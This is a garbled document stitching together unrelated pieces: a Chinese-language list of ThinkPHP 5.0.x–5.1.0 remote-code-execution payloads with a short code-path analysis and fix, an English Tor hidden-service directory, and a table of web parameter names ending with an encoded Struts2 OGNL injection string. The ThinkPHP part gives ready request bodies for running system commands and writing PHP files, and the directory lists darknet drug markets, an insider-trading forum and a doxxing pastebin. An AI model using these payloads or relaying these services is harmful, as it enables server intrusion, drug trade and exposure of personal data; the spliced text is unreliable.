_method=__construct&filter[]=system&method=GET
5.0.20
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.21
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
写shell
POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get
5.0.22
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
写shell
POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get
5.0.23
默认debug=false，需要开启debug
命令执行
POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
写shell
POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')
有captcha路由时无需debug=true
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get
5.0.24
作为5.0.x的最后一个版本，rce被修复
5.1.0
默认debug为true
命令执行
POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
public function init()
{
// 解析默认的URL规则
$result = $this->parseUrl($this->dispatch);
return (new Module($this->request, $this->rule, $result))->init();
}
PHP
进入parseUrl()
进入parseUrlPath()
在此处从url中获取[模块/控制器/操作]，导致parseUrl()返回的route为
导致thinkphp/library/think/App.php:406的$dispatch为
直接调用了input()函数，然后会执行到 App 类的 run 方法，进而调用 Dispatch 类的 run 方法，该方法会调用关键函数 execthinkphp/library/think/route/dispatch/Module.php:84，进而调用反射类
此时反射类的参数均可控，调用input()
在进入input()之后继续进入$this->filterValue()
跟进后执行call_user_func()，实现rce
整个流程中没有对控制器进行合法校验，导致可以调用任意控制器，实现rce。
修复
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
Tor Metrics
– Welcome to Tor Metrics, the primary place to learn interesting facts
about the Tor network, the largest deployed anonymity network to date.
If something can be measured safely, you’ll find it here.
Superkuh – Much information about spectrogram, wireless, and radio.
Beneath VT – Exploring Virginia Tech’s steam tunnels and beyond.
Tor Against CP! – Free and clean Tor – Tor users against CP!
Go Beyond A blog about politics, potatoes, technology, Tor, etc.
Email / Messaging
See also: The compendium of clear net Email providers.
secMail.pro – Complete mail service that allows you to send and receive mails without violating your privacy.
Mail2Tor – Mail2Tor is a free anonymous e-mail service made to protect your privacy.
Elude.in – Elude.in is a privacy based email service and a Bitcoin/Monero exchange.
TorBox – This is a hidden mailbox service only accessible from TOR without connection with public internet.
BitMessage – Connects bitmessage and e-mail services. Registration only available using the clearweb link.
Protonmail – Swiss based e-mail service, encrypts e-mails locally on your browser. Free and paid accounts.
Connect
– Connect is a collective that recognizes and promotes anticapitalism,
antiracism, antifascism, antisexism, antimililtarism, and
anti-what-the-fuck-ever and the refusal of authoritarianism and
hierarchies.
Galaxy3 – Galaxy3 is a new, Social Networking experience for the darknet!
Torbook 2.0 – The Facebook of Tor. Share your memories, connect with others and make friends.
Facebook – The real Facebook’s Onion domain. Claim not to keep logs. Trust them at your peril.
Forums / Boards / Chans
The Stock Insiders
– The Oldest and the Largest Insider Trading Forum. The community for
exchanging Insider Information about the Publicly Traded Companies.
The Intel Exchange – Know or need to know something? Ask and share at this underground intelligence gathering network.
DNM Avengers – Darknet drug forum with reviews and marketplace discussion.
OnionLand – Discussion forum about all the Darkweb markets related topics.
WikiLeaks DeepWeb mirror of the famous Wikileaks website
Doxbin – A pastebin for personally identifiable information.
SecureDrop – The open-source whistleblower submission system managed by Freedom of the Press Foundation.
Active at Darknet Markets?
– Onion set up by the Police and the Judicial Authorities of the
Netherlands, listing Active, identified, and arrested Darknet Market
operators.
Cryptome
– Archive Government Leaks. Documents for publication that are
prohibited by governments worldwide, in particular material on freedom
of expression, privacy, cryptology, dual-use technologies, national
security, intelligence, and secret governance — open, secret and
classified documents — but not limited to those
SecureDrop
– An open-source whistleblower submission system that media
organizations can use to securely accept documents from and communicate
with anonymous sources.
darknet design — web design (HTML, CSS, PHP) plus graphics design and a few other things.
Daniel’s Hosting
– Solution d’hébergement gratuite uniquement pour un projet personnel
non commercial. Possibilité payer pour plus de contrôle. Support
réactif.
Зеркало библиотеки Траума – Бесплатная библиотека. Обложки, поиск и возможность скачивать в форматах FB2, HTML и TXT.
РосПравосудие
– крупнейшая картотека юристов, адвокатов, судей и судебных решений
(50+ миллионов документов, 35+ тысяч судей, 65+ тысяч адвокатов, сотни
тысяч юристов, прокуроры). «РосПравосудие» – аполитичный и независимый
проект.
China Market
– китайский маркет. Всегда свежие поставки из Китая: каннабиноиды, MDMA
кристаллы, экстази, LSD. Доставка без пересечения границы, есть
представители в России, Украине и Казахстане. Автоматическое оформление,
оплата и получение заказа. Методы оплаты: Bitcoin, Qiwi, Приват24,
наличкой через терминалы.
Volunteers last verified that all services in this section were up,
or marked as DOWN, on: 2011-06-08
For configuration and service/uptime testing, all services in this
section MUST list the active port in their address. Exception: HTTP on
80, HTTPS on 443.
For help with configuration, see the TorifyHOWTO and End-to-end connectivity issues.
P2P FileSharing
Running P2P protocols within Tor requires OnionCat. Therefore, see the OnionCat section for those P2P services.
IMPORTANT: It is possible to use Tor for P2P. However, if you do, the right thing must also be done by giving back the bandwidth used. Otherwise, if this is not done, Tor will be crushed taking everyone along with it.
Some people and their usual server hangouts may be found in the Contact Directory.
IRC
Use e.g. ChatZilla add-on for the IRC protocol (the Tor Project does not suggest installing browser addons unless you understand the risks), or a standalone client such as HexChat. Tails comes with Pidgin, which will work for IRC as well.
All of these direct to zelazny.freenode.net and allow plaintext port 6667 as well as SSL ports 6697, 7000, and 7070.
Below is a list of DEAD irc servers from Anonet:
AnoNet – Each server is on its own network and connects to a chat cloud
irc1.srn.ano, clearnet
elef7kcrczguvamt.onion:15783 – Direct access to the AnoNet chat cloud. Use an IRC server to connect.
irc3.srn.anoirc2.srn.ano, clearnet – Still connects to the old AnoNet chat cloud; that will soon change.
irc4.srn.anoirc.cananon.ano Web Chat Version join #Anonet
SILC
fxb4654tpptq255w.onion:706 – SILCroad, public server. [discuss/support]
<protect>Silkroad 2.0 – The new silkroad. Biggest marketplace for drugs on the Darknet. (Bitcoin)</protect>
kissonmbczqxgebw.onion:10000 – KISS.onion – Keep It Simple and Safe –
ditch the web browser, use SILC to communicate securely (using Pidgin with OTR)
Humans are listed in the above contact directory. Bots are listed below.
7oj5u53estwg2pvu.onion:11009 – TorChat InfoServ #2nd, by ACS.
gfxvz7ff3bzrtmu4.onion:11009 – TorChat InfoServ #1st, by ACS…
SFTP – SSH File Transfer Protocol
These SFTP clients work with Tor: WinScp, FileZilla. Set proxy to SOCKS5, host 127.0.0.1, port 9150 (Windows,Mac) or 9050 (Linux). Encrypt your sensitive files using GnuPG before uploading them to any server.
Do not simply remove services that appear to be offline from the above list! Services can go down temporarily, so we keep track of when they do and maintain a list of dead hidden services.
In addition to an onion simply being gone (Tor cannot resolve
the onion), sites that display 404 (and use a known onion/URL based
hosting service) are the only other thing that is considered truly DOWN.
Presumably the account is gone.
If a service has been down for a while, tag it with ‘ – DOWN YYYY-MM-DD’ (your guess as to when it went down).
If a tagged service on the above list of live hidden services has come back up, remove the DOWN tag.
If a tagged service is still down after a month, please move it (along with the DOWN tag) to the list of dead hidden services.
The general idea of the remaining four service states below is
that, if the Hidden Service Descriptor is available, and something is
responding behind it… the service is considered up, and we track that
fact on the Main Page. If any of these subsequently go offline, append
the DOWN tag and handle as above.
Hello world’s / statements, minimal sites, services with low user activity, etc (while boring)… are listed as usual.
Broken services are those that display 404 (and do not use a known
hosting service), PHP or other errors (or they fail silently)… any of
which prevent the use of the service as intended. They also include
blank pages, empty dirs and neglected status notes. Presumably the
operator is in limbo. Broken services are tagged with ‘ (reason) –
Broken YYYY-MM-DD’ (your guess as to when it went broken)
Services that automatically redirect to another service (such as by
HTTP protocol or script), have their redirection destinations noted in
their descriptions. These are tagged with ‘ – Redir YYYY-MM-DD’ (your
guess as to when it went redir)
Sites that are formally closed via announcement are tagged with ‘ – Closed YYYY-MM-DD’ (your guess as to when it went closed.
Is Online that HiddenService? This service is very useful in determining whether onions are up or not. It also gives a reason why they are down.
Sites on this list that have no chance of coming back (LE takedowns, dead for some time) should be archived to page dead services just in case they should ever be needed.
参数 出现次数
id 6845
action 1643
type 1503
m 1013
a 992
c 855
act 829
page 813
uid 616
url 585
method 545
cid 545
ID 528
mod 521
aid 490
keyword 474
key 449
t 449
q 444
callback 427
sid 426
s 421
name 407
tid 399
pid 392
code 354
r 316
p 307
file 301
Type 294
do 294
redirect 292
username 291
_ 278
op 259
filename 252
path 251
from 230
classid 227
f 222
fid 221
app 213
cmd 213
typeid 203
_FILES 201
ac 194
title 192
fileName 191
userid 190
v 189
flag 176
catid 170
Connector 166
bid 158
order 150
wd 150
mid 150
lang 145
nid 143
city 142
CurrentFolder 139
newsid 138
Command 137
password 131
d 128
source 127
sort 126
user 125
token 122
module 120
class 118
userId 115
dir 113
ie 111
Id 108
pwd 107
num 106
email 103
appid 102
u 102
mobile 102
i 102
keywords 100
version 100
status 99
gid 99
typeArr 96
g 96
service 95
o 95
ArticleID 94
query 94
filePath 94
orderId 94
redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D 93
category 92
word 92
user_id 92
k 91
channel 90
